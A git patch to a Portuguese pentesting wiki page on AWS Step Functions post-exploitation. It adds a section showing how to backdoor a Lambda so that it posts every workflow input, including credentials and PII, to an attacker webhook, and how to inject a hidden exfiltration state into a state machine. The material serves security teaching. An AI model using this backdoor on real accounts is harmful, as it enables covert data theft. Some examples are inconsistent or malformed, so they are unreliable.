From ba8a0af8225f51a40fe6fef1b5d7796253c0ac74 Mon Sep 17 00:00:00 2001
From: Translator <github-actions@github.com>
Date: Thu, 27 Mar 2025 12:45:10 +0000
Subject: [PATCH] Translated
 ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

---
 .../aws-stepfunctions-post-exploitation.md    | 122 +++++++++++++++++-
 1 file changed, 120 insertions(+), 2 deletions(-)

diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
index 291e00810..98c21fb2b 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
@@ -45,7 +45,7 @@ aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value
 
 ### `states:StopExecution`
 
-Um atacante com essa permissão poderia ser capaz de parar a execução de qualquer máquina de estado, interrompendo fluxos de trabalho e processos em andamento. Isso poderia levar a transações incompletas, operações comerciais paralisadas e potencial corrupção de dados.
+Um atacante com esta permissão poderia ser capaz de parar a execução de qualquer máquina de estado, interrompendo fluxos de trabalho e processos em andamento. Isso poderia levar a transações incompletas, operações comerciais paralisadas e potencial corrupção de dados.
 
 > [!WARNING]
 > Esta ação não é suportada por **máquinas de estado expressas**.
@@ -56,11 +56,129 @@ aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--ca
 
 ### `states:TagResource`, `states:UntagResource`
 
-Um atacante poderia adicionar, modificar ou remover tags dos recursos do Step Functions, interrompendo a alocação de custos da sua organização, o rastreamento de recursos e as políticas de controle de acesso baseadas em tags.
+Um atacante poderia adicionar, modificar ou remover tags de recursos do Step Functions, interrompendo a alocação de custos da sua organização, o rastreamento de recursos e as políticas de controle de acesso baseadas em tags.
 ```bash
 aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
 aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
 ```
 **Impacto Potencial**: Interrupção da alocação de custos, rastreamento de recursos e políticas de controle de acesso baseadas em tags.
 
+---
+
+### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
+
+Um atacante que comprometer um usuário ou função com as seguintes permissões:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowUpdateStateMachine",
+"Effect": "Allow",
+"Action": "states:UpdateStateMachine",
+"Resource": "*"
+},
+{
+"Sid": "AllowUpdateFunctionCode",
+"Effect": "Allow",
+"Action": "lambda:UpdateFunctionCode",
+"Resource": "*"
+}
+]
+}
+```
+...pode conduzir um **ataque de pós-exploração de alto impacto e furtivo** combinando backdooring do Lambda com manipulação da lógica do Step Function.
+
+Este cenário assume que a vítima usa **AWS Step Functions para orquestrar fluxos de trabalho que processam entradas sensíveis**, como credenciais, tokens ou PII.
+
+Exemplo de invocação da vítima:
+```bash
+aws stepfunctions start-execution \
+--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
+--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
+```
+Se a Step Function estiver configurada para invocar um Lambda como `LegitBusinessLogic`, o atacante pode prosseguir com **duas variantes de ataque furtivas**:
+
+---
+
+####  Atualizou a função lambda
+
+O atacante modifica o código da função Lambda já utilizada pela Step Function (`LegitBusinessLogic`) para exfiltrar silenciosamente os dados de entrada.
+```python
+# send_to_attacker.py
+import requests
+
+def lambda_handler(event, context):
+requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
+return {"status": "exfiltrated"}
+```
+
+```bash
+zip function.zip send_to_attacker.py
+
+aws lambda update-function-code \
+--function-name LegitBusinessLogic \
+--zip-file fileb://function.zip -profile attacker
+```
+---
+
+#### Adicionar um Estado Malicioso à Função de Passo
+
+Alternativamente, o atacante pode injetar um **estado de exfiltração** no início do fluxo de trabalho atualizando a definição da Função de Passo.
+```malicious_state_definition.json
+{
+"Comment": "Backdoored for Exfiltration",
+"StartAt": "OriginalState",
+"States": {
+"OriginalState": {
+"Type": "Task",
+"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
+"End": true
+}
+}
+}
+
+```
+
+```bash
+aws stepfunctions update-state-machine \
+--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
+--definition file://malicious_state_definition.json --profile attacker
+```
+O atacante pode ser ainda mais furtivo ao atualizar a definição de estado para algo como isto
+{
+"Comment": "Backdoored for Exfiltration",
+"StartAt": "ExfiltrateSecrets",
+"States": {
+"ExfiltrateSecrets": {
+"Type": "Task",
+"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
+"InputPath": "$",
+"ResultPath": "$.exfil",
+"Next": "OriginalState"
+},
+"OriginalState": {
+"Type": "Task",
+"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
+"End": true
+}
+}
+}
+onde a vítima não perceberá a diferença
+
+---
+
+### Configuração da Vítima (Contexto para Exploração)
+
+- Uma Step Function (`LegitStateMachine`) é usada para processar entradas sensíveis do usuário.
+- Ela chama uma ou mais funções Lambda, como `LegitBusinessLogic`.
+
+---
+
+**Impacto Potencial**:
+- Exfiltração silenciosa de dados sensíveis, incluindo segredos, credenciais, chaves de API e PII.
+- Sem erros ou falhas visíveis na execução do fluxo de trabalho.
+- Difícil de detectar sem auditar o código Lambda ou rastros de execução.
+- Permite persistência a longo prazo se o backdoor permanecer no código ou na lógica ASL.
+
 {{#include ../../../banners/hacktricks-training.md}}